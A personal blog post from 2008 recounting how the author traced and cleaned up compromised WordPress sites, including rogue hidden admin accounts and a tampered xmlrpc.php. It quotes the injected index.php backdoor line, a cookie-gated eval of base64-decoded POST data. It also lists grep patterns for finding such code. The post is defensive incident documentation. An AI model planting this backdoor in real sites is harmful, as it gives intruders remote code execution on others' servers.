Life is a Mystery

21 December 2008

Fixing broken WordPress XMLRPC

Today is a nice snowy Sunday, but I spent almost the whole day in front of my computer. It turns out that the WordPress installations we run were all compromised. This was quite a headache and took a bit of sleuthing to nail down, so I thought I’d at least document what we learned in case it is helpful to anyone else. Read on for the details.

Our first hit was a few months ago when we noticed that we could no longer publish to WP with MarsEdit. I quickly figured out that the xmlrpc.php file in the affected WP installations had become corrupt.

if ( isset($HTTP_RAW_POST_DATA) )
$HTTP_RAW_POST_DATA = mysql_escape_string(trim($HTTP_RAW_POST_DATA));

See that “mysql_escape_string”? That does not belong there at all. At that time I didn’t know how this had happened, but I knew how to fix it. I simply copied fresh versions of the xmlrpc.php file over the corrupt versions. We could then post from MarsEdit again.

Oddly, this happened again. And again. I started noticing a pattern: this seemed to happen on the 20th of the month, near midnight. When it happened again yesterday, I got fed up. How was this file changing?

What I found…

I have ssh access to my host, so I used the command

find ~ -mmin -1200 -a -mmin +980 -print

to determine which files had changed during this time period. (Note, the numbers are the number of minutes before the time I ran the command, they represent a range of 220 minutes.) This showed me that not only had the xmlrpc.php file changed, but so had index.php.

The change to index.php was much more troubling. This file is what gets run by default when anyone comes to a WP site. It is a PHP script, and this change was to insert one line of PHP in front of the legitimate script. Each WP install had a slightly different version of this line (the numbers varied), but they all made the same point.

<?php if(md5($_COOKIE['b4abfd6856e14429'])=="a195911a91a2618a167465bbc159b7fe"){ eval(base64_decode($_POST['file'])); exit; } ?>

Yikes! This looks like a line that waits for “browsers” with a special cookie to stop by and then runs (evaluates) a coded (base64_decode) version of a file full of PHP on our host! What’s in that ‘file’? Who knows, but I’m sure it is not pretty. In fact, this very illuminating post gave me some ideas what might be behind this line.

Once I was sure that my WP installs had been compromised, I started digging deeper into the WP databases. Sure enough, I found at least one corrupted posting and in virtually every database I found improper user accounts. The posting was easily identified, it was one of those with a thousand poker-related links in it. I’m not even sure it was part of the same scheme. The user accounts were a bit trickier.

Each database had a user called “WordPress” in the “wp_users” table that was obviously an intrusion. This user was invisible to the admin interface of WP, yet it was authorized as an administrator. When I searched the “wp_usermeta” table for “admin” I found that each database also had one or two administrative users metadata which had more scripts in place of the display name. Yuck! Finally, I eventually noticed some added admin users in “wp_users” who had the names of other legitimate admin users, but with a single (random?) letter attached.

OK. Clearly a lot of clean up to do.

What I did…

We had to fix both our WP databases and our WP installation. I’m sure there are cleaner ways of doing this, but for the record, here’s what I did. Feel free to leave brighter ideas in the comments!

The first thing I did was call my son Alex in to help me sort through all of this. Find your own Alex, it is nice to have a partner to ask questions and keep you on track.

We decided to clean up the databases first, then copy fresh WP installs in place of the old ones, and then upgrade the databases for the (often new) versions of WP.

Cleaning out the “wp_users” and “wp_usermeta” tables was done with CocoaMySQL, though you could probably do the same thing with phpMyAdmin or any number of other tools. We simply deleted all suspicious users and usermetadata. Look for anything administrative that should not be there, in particular look for the “WordPress” account. A normal WordPress install does not have a user named “WordPress”, so get rid of it.

We then decided that we wanted to make sure the nasty invader had not added any other files to our WP installations. We essentially followed the procedure documented at WordPress for upgrading installations, removing the “wp_admin” and “wp_includes” directories and copying fresh WP files over everything else. We were as conservative as we could be about what we left in the “wp_content” folder, but we did have to leave some of our old themes and plugins there.

Finally, we decided to change our authoring practice. We had been authoring on our blogs from accounts that had admin privileges. Since our WP installs do not run behind SSL, we decided to create new dedicated admin accounts (note, we did not call this new user “admin”), and todowngrade our existing authoring accounts to “Author” or “Editor” privileges.

Actually, since we don’t really know how this happened, I also decided to add a layer of logging to one of our WP installations for the time being. I want to know if anyone does anything strange. I found that a WP plugin had been written to assist with that task, check out the vi-logger post-logger.

Where do we stand?

While we think we have cleaned up our mess, we are still not sure how the nasties got onto our system in the first place. We will be more vigilant for the next few months and see if they return. Hopefully the POST monitoring will give us a better idea of how this happens if it does happen again. Until then, we feel good about this afternoon’s work.

Updates

Check out this eight month old thread catching the birth of this attack. Yes, I see bogus “wp_options” entries for fake “active_plugins” too.

Another set of instructions on what to do.

A not very helpful WP codex page.

A great description of how this “ekibastos attack” takes place. It includes a pointer to this very helpful exploit scanner script.

I also had to search for two more phrases to id files that had been compromised:

find ~/public_html -exec grep "unserialize.base64_decode" {} ; -exec ls -l {} ;
find ~/public_html -exec grep "eval.base64_decode" {} ; -exec ls -l {} ;

Comments are closed.

Eric Celeste / Saint Paul, Minnesota / 651.323.2009 / efc@clst.org